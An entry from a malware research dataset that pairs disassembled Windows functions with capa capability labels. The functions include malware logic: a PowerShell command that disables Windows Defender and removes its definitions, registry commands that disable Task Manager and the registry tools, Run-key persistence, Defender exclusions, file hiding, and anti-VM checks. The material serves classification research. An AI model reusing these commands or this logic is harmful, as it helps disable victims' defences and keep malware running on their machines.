joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000187d
Capabilities:
Copy file
Get common file path

Disassembly:
push rbp
sub rsp, 0x350
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], rdx
lea rax, str.C:WindowsSystem32
mov qword [rbp + 0x2c8], rax
mov rdx, qword [rbp + 0x2c8]
lea rax, [rbp + 0x1c0]
mov r9, rdx
lea r8, str._splugin.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov rdx, qword [rbp + 0x2c8]
lea rax, [rbp + 0xb0]
mov r9, rdx
lea r8, str._schecker.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x1c0]
mov rcx, qword [rbp + 0x2e0]
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CopyFileA]
call rax
lea rax, [rbp + 0xb0]
mov rcx, qword [rbp + 0x2e8]
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CopyFileA]
call rax
lea rax, str.C:WindowsSystem32
mov rcx, rax
call sym.add_to_defender_exclusions
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.DLL_GetTempPathA]
call rax
test eax, eax
je 0x140001967
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.add_to_defender_exclusions
nop
add rsp, 0x350
pop rbp
ret

Function at 0x140001971
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov rdx, qword [rbp + 0xd0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.attrib_s_h_r__s
mov edx, 0x118
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
test eax, eax
je 0x1400019c9
lea rax, str.ERROR
mov rcx, rax
call sym.terminate_with_warning
nop
add rsp, 0x140
pop rbp
ret

Function at 0x1400019d3
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
je 0x140001a81
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 4]
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x140001a8a
Capabilities:
Create process on windows
Execute command
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x70
mov dword [rbp - 0x5c], 0x500
mov qword [rbp - 0x58], 0
lea rax, str.runas
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x30], 1
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x140001b1d
lea rax, str.RUN_AS_ADMIN
mov rcx, rax
call sym.terminate_with_warning
mov ecx, 0
call sym.exit
nop

Function at 0x140001b28
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
sub rsp, 0x620
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x3a0]
mov r8d, 0x200
mov rdx, rax
lea rax, str.ProgramFiles
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
call rax
lea rdx, [rbp + 0x3a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.powershell_Set_MpPreference__DisableIntrusionPreventionSystem__true__DisableIOAVProtection__true__DisableRealtimeMonitoring__true__DisableScriptScanning__true__EnableControlledFolderAccess_Disabled__EnableNetworkProtection_AuditMode__Force__MAPSReporting_Disabled__SubmitSamplesConsent_NeverSend__powershell_Set_MpPreference__SubmitSamplesConsent_2____sWindows_DefenderMpCmdRun.exe___RemoveDefinitions__All
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
nop
add rsp, 0x620
pop rbp
ret
Function at 0x140001bc9
Capabilities:
Disable system features via registry on windows
Execute command
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
call sym.is_admin
test eax, eax
jne 0x140001be4
call sym.run_as_admin
call sym.set_console_colors
call sym.check_user
call sym.check_virtual_environment
call sym.check_ssd_size
call sym.check_ip
call sym.fuckdefender
lea rax, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisableTaskMgr__t_REG_DWORD__d_1__f
mov rcx, rax
call sym.system
lea rax, str.plugin.exe
mov qword [rbp - 8], rax
lea rax, str.checker.exe
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.copy_to_startup_folder
lea rax, str.C:WindowsSystem32plugin.exe
mov rcx, rax
call sym.set_file_attributes
lea rax, str.C:WindowsSystem32checker.exe
mov rcx, rax
call sym.set_file_attributes
lea rax, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionRun___v_WindowsPlugin__t_REG_SZ__d__C:WindowsSystem32plugin.exe___f
mov rcx, rax
call sym.system
lea rax, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionRun___v_SYSTEMChecker__t_REG_SZ__d__C:WindowsSystem32checker.exe___f
mov rcx, rax
call sym.system
lea rax, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisableRegistryTools__t_REG_DWORD__d_1__f
mov rcx, rax
call sym.system
lea rax, str.api.exe
mov rcx, rax
call sym.system
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001f60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d094]
test esi, esi
mov rbx, rcx
jle 0x140002100
mov rax, qword [0x14000d098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000201b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400020a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002000
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140002122
mov rax, qword [0x14000d098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x140002107
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000209e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400020b0
add dword [0x14000d094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000d098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x14000209e
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002028
mov rax, qword [0x14000d098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002690
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x1400026ec
mov rbp, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.DLL_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400026e3
test rsi, rsi
je 0x1400026e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400026c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x140002900
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002910
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140002920
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002938
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002940
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002950
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000299d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002994
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000299f
add rax, 0x28
cmp rax, r9
jne 0x140002980
xor eax, eax
ret

Function at 0x1400029a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002a30
mov rdx, qword [0x14000ad10]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002a1e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002a1e
cmp word [rax + 0x18], 0x20b
jne 0x140002a1e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002a30
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002a09
add rbx, 0x28
cmp rbx, rdi
je 0x140002a30
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002a00
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002a40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ad10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a60
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002abd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a60
add rax, 0x28
cmp rax, r9
jne 0x140002aa0
xor eax, eax
ret

Function at 0x140002ac0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ad10]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002adf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ae8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002adf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002b00
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000ad10]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002b20
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002b28
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002b20
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002b70
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b67
test rcx, rcx
je 0x140002b20
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002b58
xor eax, eax
ret

Function at 0x140002b80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ad10]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b9f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002ba8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002bc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ad10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002be0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002be8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002be0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002be0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002c34
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002c40
add rdx, 0x28
cmp r9, rdx
jne 0x140002c20
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002c50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000ad10]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002c72
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002c80
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c72
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002c72
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002c72
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002cd5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ce8
add rdx, 0x28
cmp rdx, r10
jne 0x140002cc0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002cf7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002d07
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002cde
test ecx, ecx
jg 0x140002cf0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140013180
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400144d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400144f0
xor al, al
jmp 0x140014571
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014503
xor al, al
jmp 0x140014571
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001452d
xor al, al
jmp 0x140014571
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014541
xor al, al
jmp 0x140014571
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014553
xor al, al
jmp 0x140014571
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001456f
xor al, al
jmp 0x140014571
mov al, 1
add rsp, 0x38
ret
Function at 0x1400123c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113a2
movzx eax, al
test eax, eax
jne 0x1400123e0
mov ecx, 7
call fcn.14001131b
nop
mov byte [rsp + 0x20], 0
call fcn.14001132f
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012404
mov ecx, 7
call fcn.14001131b
nop
jmp 0x14001245c
cmp dword [0x14001e868], 0
jne 0x140012457
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.14001119a
test eax, eax
je 0x140012438
mov eax, 0xff
jmp 0x140012561
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011325
mov dword [0x14001e868], 2
jmp 0x14001245c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011307
call fcn.1400112a3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400124b9
mov rcx, qword [rsp + 0x30]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x1400124b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112d5
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400124ed
mov rcx, qword [rsp + 0x38]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x1400124ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001135c
nop
call fcn.140012610
mov dword [rsp + 0x28], eax
call fcn.14001127b
movzx eax, al
test eax, eax
jne 0x14001250c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001251b
call fcn.140011366
nop
xor edx, edx
mov cl, 1
call fcn.140011140
mov eax, dword [rsp + 0x28]
jmp 0x140012561
add rsp, 0x68
ret
Function at 0x1400040c0
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x280
mov rax, qword [0x140279950]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x180], 0
je 0x140004119
mov rax, qword [rsp + 0x290]
mov rcx, qword [rax + 0x180]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsp + 0x290]
mov qword [rax + 0x180], 0
xor eax, eax
mov word [rsp + 0x60], ax
lea rax, [rsp + 0x62]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
call fcn.1400071bc
mov eax, 2
imul rax, rax, 8
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0x12
jae 0x140004166
jmp 0x14000416b
call fcn.1401aeb60
xor eax, eax
mov rcx, qword [rsp + 0x28]
mov word [rsp + rcx + 0x40], ax
mov eax, 2
imul rax, rax, 7
mov ecx, reloc.WSOCK32.dll_WSACancelAsyncRequest
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 4
mov ecx, 0x2e
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 0
mov ecx, WSAAsyncGetHostByName
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 6
mov ecx, reloc.WSOCK32.dll_WSACancelAsyncRequest
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 2
mov ecx, reloc.OLEAUT32.dll_VarBstrFromDisp
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 3
mov ecx, 0x78
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 1
mov ecx, WSAAsyncGetHostByName
mov word [rsp + rax + 0x40], cx
mov eax, 2
imul rax, rax, 5
mov ecx, WSAAsyncGetHostByName
mov word [rsp + rax + 0x40], cx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140007070
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140004357
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword [rsp + 0x290]
mov qword [rcx + 0x180], rax
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x180], 0
je 0x140004357
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x38], 0x75
mov eax, 1
imul rax, rax, 4
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 5
jae 0x14000428f
jmp 0x140004294
call fcn.1401aeb60
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x38], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x38], 0x61
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x38], 0x53
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x38], 0x74
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x290]
mov rcx, qword [rax + 0x180]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x290]
mov qword [rcx + 0x188], rax
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x188], 0
je 0x140004357
xor r9d, r9d
mov rax, qword [rsp + 0x290]
mov r8, qword [rax + 0x180]
mov rax, qword [rsp + 0x290]
mov rdx, qword [rax + 0x188]
mov ecx, 3
call fcn.1400074e4
mov rcx, qword [rsp + 0x290]
mov qword [rcx + 0x190], rax
mov rax, qword [rsp + 0x290]
cmp qword [rax + 0x190], 0
je 0x140004357
mov dword [rsp + 0x20], 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1401aee00
add rsp, 0x280
pop rdi
ret
Function at 0x1400065f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x140279950]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x30], 1
call fcn.1400060fc
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140006799
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x50], WSAAsyncGetHostByName
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x50], 0x61
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x50], 0x49
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x50], 0x73
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x50], 0x61
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x50], 0x43
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x50], reloc.WSOCK32.dll_WSAUnhookBlockingHook
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x50], 0x74
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x50], WSAAsyncGetHostByName
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x50], 0x43
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x50], WSAAsyncGetHostByName
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x50], reloc.OLEAUT32.dll_VarBstrFromDisp
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x50], reloc.WSOCK32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x50], 0x74
mov eax, 1
imul rax, rax, 0x10
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0x11
jae 0x140006711
jmp 0x140006716
call fcn.1401aeb60
mov rax, qword [rsp + 0x40]
mov byte [rsp + rax + 0x50], 0
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x50], WSAAsyncGetHostByName
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x50], reloc.WSOCK32.dll_WSAUnhookBlockingHook
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000678e
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x98]
mov r8d, dword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [rsp + 0x48]
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1401aee00
add rsp, 0x78
ret